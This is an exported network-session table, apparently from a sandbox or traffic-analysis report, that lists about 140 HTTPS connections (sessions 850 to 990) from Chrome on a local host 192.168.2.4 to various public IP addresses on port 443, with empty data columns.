Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
850	192.168.2.4	50803	23.215.0.48	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
851	192.168.2.4	50816	34.111.113.62	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
852	192.168.2.4	50817	104.18.36.155	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
853	192.168.2.4	50822	52.223.22.214	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
854	192.168.2.4	50823	52.223.22.214	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
855	192.168.2.4	50818	216.200.232.249	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
856	192.168.2.4	50824	52.223.22.214	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
857	192.168.2.4	50821	52.223.22.214	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
858	192.168.2.4	50826	104.22.51.98	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
859	192.168.2.4	50827	52.207.45.55	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
860	192.168.2.4	50828	35.172.238.227	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
861	192.168.2.4	50829	35.172.238.227	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
862	192.168.2.4	50820	63.33.13.151	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
863	192.168.2.4	50834	52.46.130.91	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
864	192.168.2.4	50835	34.98.64.218	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
865	192.168.2.4	50836	34.98.64.218	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
866	192.168.2.4	50837	34.98.64.218	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
867	192.168.2.4	50832	68.67.160.186	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
868	192.168.2.4	50831	68.67.160.186	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
869	192.168.2.4	50838	34.98.64.218	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
870	192.168.2.4	50840	23.62.24.69	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
871	192.168.2.4	50841	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
872	192.168.2.4	50842	52.207.45.55	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
873	192.168.2.4	50843	52.207.45.55	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
874	192.168.2.4	50844	52.207.45.55	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
875	192.168.2.4	50846	52.207.45.55	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
876	192.168.2.4	50845	52.207.45.55	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
877	192.168.2.4	50849	34.98.64.218	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
878	192.168.2.4	50850	34.111.113.62	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
879	192.168.2.4	50833	192.132.33.68	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
880	192.168.2.4	50855	34.199.195.87	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
881	192.168.2.4	50854	23.62.24.69	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
882	192.168.2.4	50856	44.216.253.69	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
883	192.168.2.4	50857	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
884	192.168.2.4	50858	18.214.106.96	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
885	192.168.2.4	50859	35.172.238.227	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
886	192.168.2.4	50860	104.18.36.155	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
887	192.168.2.4	50862	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
888	192.168.2.4	50863	52.207.45.55	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
889	192.168.2.4	50865	23.62.24.69	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
890	192.168.2.4	50864	52.223.22.214	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
891	192.168.2.4	50866	52.223.22.214	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
892	192.168.2.4	50868	52.223.22.214	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
893	192.168.2.4	50867	52.223.22.214	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
894	192.168.2.4	50869	52.223.22.214	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
895	192.168.2.4	50870	52.223.22.214	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
896	192.168.2.4	50872	44.216.253.69	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
897	192.168.2.4	50871	44.216.253.69	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
898	192.168.2.4	50873	52.207.45.55	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
899	192.168.2.4	50875	52.207.45.55	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
900	192.168.2.4	50877	8.28.7.83	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
901	192.168.2.4	50874	207.65.37.184	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
902	192.168.2.4	50876	8.28.7.83	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
903	192.168.2.4	50879	142.251.167.154	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
904	192.168.2.4	50880	8.28.7.83	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
905	192.168.2.4	50881	8.28.7.83	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
906	192.168.2.4	50882	34.98.64.218	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
907	192.168.2.4	50884	34.98.64.218	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
908	192.168.2.4	50883	34.98.64.218	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
909	192.168.2.4	50886	23.62.24.69	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
910	192.168.2.4	50887	23.62.24.69	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
911	192.168.2.4	50885	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
912	192.168.2.4	50889	34.199.195.87	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
913	192.168.2.4	50890	44.216.253.69	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
914	192.168.2.4	50893	44.216.253.69	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
915	192.168.2.4	50892	34.98.64.218	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
916	192.168.2.4	50891	44.216.253.69	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
917	192.168.2.4	50894	44.216.253.69	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
918	192.168.2.4	50895	8.28.7.83	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
919	192.168.2.4	50899	23.62.24.69	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
920	192.168.2.4	50896	8.28.7.83	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
921	192.168.2.4	50901	23.62.24.69	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
922	192.168.2.4	50902	34.111.113.62	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
923	192.168.2.4	50903	23.62.24.69	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
924	192.168.2.4	50906	38.68.201.140	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
925	192.168.2.4	50898	18.211.82.251	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
926	192.168.2.4	50897	18.211.82.251	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
927	192.168.2.4	50907	50.57.31.206	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
928	192.168.2.4	50853	35.211.178.172	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
929	192.168.2.4	50904	69.194.240.13	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
930	192.168.2.4	50909	18.160.10.111	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
931	192.168.2.4	50910	34.111.113.62	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
932	192.168.2.4	50912	35.244.154.8	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
933	192.168.2.4	50911	13.249.39.110	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
934	192.168.2.4	50913	35.244.154.8	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
935	192.168.2.4	50914	35.244.154.8	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
936	192.168.2.4	50916	3.85.67.14	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
937	192.168.2.4	50908	34.200.191.194	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
938	192.168.2.4	50905	63.33.13.151	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
939	192.168.2.4	50917	52.223.22.214	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
940	192.168.2.4	50915	52.44.103.61	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
941	192.168.2.4	50918	44.216.253.69	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
942	192.168.2.4	50919	44.216.253.69	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
943	192.168.2.4	50920	8.28.7.83	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
944	192.168.2.4	50921	207.65.37.184	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
945	192.168.2.4	50922	104.18.36.155	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
946	192.168.2.4	50929	104.22.51.98	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
947	192.168.2.4	50923	35.211.178.172	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
948	192.168.2.4	50925	69.194.240.13	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
949	192.168.2.4	50930	34.111.113.62	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
950	192.168.2.4	50931	52.44.103.61	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
951	192.168.2.4	50932	3.85.67.14	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
952	192.168.2.4	50934	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
953	192.168.2.4	50935	104.18.36.155	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
954	192.168.2.4	50937	52.201.108.5	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
955	192.168.2.4	50936	3.91.171.154	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
956	192.168.2.4	50938	66.218.87.15	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
957	192.168.2.4	50939	66.218.87.15	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
958	192.168.2.4	50933	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
959	192.168.2.4	50941	66.218.87.15	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
960	192.168.2.4	50942	74.119.117.17	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
961	192.168.2.4	50943	66.218.87.15	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
962	192.168.2.4	50945	142.251.167.155	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
963	192.168.2.4	50946	52.201.108.5	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
964	192.168.2.4	50948	74.119.117.17	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
965	192.168.2.4	50949	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
966	192.168.2.4	50950	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
967	192.168.2.4	50951	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
968	192.168.2.4	50952	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
969	192.168.2.4	50953	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
970	192.168.2.4	50956	23.45.148.30	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
971	192.168.2.4	50957	52.223.22.214	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
972	192.168.2.4	50958	142.251.111.105	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
973	192.168.2.4	50959	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
974	192.168.2.4	50960	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
975	192.168.2.4	50963	67.202.105.22	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
976	192.168.2.4	50962	51.222.39.187	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
977	192.168.2.4	50964	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
978	192.168.2.4	50965	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
979	192.168.2.4	50967	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
980	192.168.2.4	50968	99.84.109.83	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
981	192.168.2.4	50974	68.67.160.76	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
982	192.168.2.4	50979	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
983	192.168.2.4	50970	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
984	192.168.2.4	50978	51.222.39.187	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
985	192.168.2.4	50971	35.207.24.140	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
986	192.168.2.4	50975	67.202.105.33	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
987	192.168.2.4	50972	216.200.232.253	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
988	192.168.2.4	50981	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
989	192.168.2.4	50984	23.105.12.159	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
990	192.168.2.4	50980	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

